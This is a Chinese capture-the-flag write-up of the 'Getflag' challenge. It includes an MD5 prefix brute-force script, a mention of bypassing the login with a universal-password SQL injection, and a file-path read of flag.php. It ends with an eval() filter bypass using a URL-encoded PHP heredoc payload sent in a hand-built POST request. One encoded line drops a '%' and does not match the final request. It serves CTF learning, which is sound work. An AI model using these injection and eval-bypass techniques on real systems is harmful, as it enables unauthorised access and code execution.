“百度杯”CTF比赛 十月场-Getflag(md5碰撞+sql注入+网站绝对路径)
进去md5碰撞,贴一下脚本代码
import hashlib
def md5(value):
return hashlib.md5(str(value).encode("utf-8")).hexdigest()
for i in range(1,9999999):
if (md5(i)[0:6] =="f5ce8c"):
print(i)
break
登录处存在SQL注入,直接万能密码就能登录。登录后给了三个文件,提示flag在根目录下,点开a.php的同时我们抓包,自己尝试了许多路径,最接近的是改成f=/var/www/html/../flag.php,也没用。真正的路径是/var/www/html/Challenges/flag.php我就在想这些大师傅都是怎么想到的。
访问得到源码。
<?php
//POST方式提交参数flag
$f = $_POST['flag'];
//将得到的flag参数中的一些字符去掉
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
//flag参数满足长度大于13或者flag参数中有return两个条件中的一个则输出
{
die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try//这里用到了异常处理,先执行try中的语句,有异常则执行catch中的语句
{
eval("\$spaceone = $f");
}
catch (Exception $e)
{
return false;
}
if ($spaceone === 'flag'){//如果spaceone变量等于字符串flag,则输出helloctf.php文件中的内容
echo file_get_contents("helloctf.php");
}
?>
满足$spaceone === 'flag'。而$spaceone = $f,$f可控,那么我们用post方式提交flag=flag,但是并没有拿到flag。其实这里是触发了异常处理,eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。这里我们在post的时候加个分号拿到flag。
这里还可以使用PHP的另一种字符串构造方法<<<自定义定界符
<<<selfDefineDelimiter
your string
selfDefineDelimiter
因为有换行的存在,我们要把上面所有的字符都进行url编码,然后在burp上构造post参数flag,对照ASCII码表进行手动编码:
<<<a
flag
a;
%3c%3c%3c61%0a
%66%6c%61%67%0a
%61%3b%0a
%3c%3c%3c61%0a%66%6c%61%67%0a%61
请求也需要我们自己构造:注意:Content-Type字段的值
POST /Challenges/flag.php HTTP/1.1
Host:8a855db687b64c05b02efc0fa87b4fa1f11579a7eb864268.game.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
flag=%3c%3c%3c%61%0a%66%6c%61%67%0a%61%3b%0a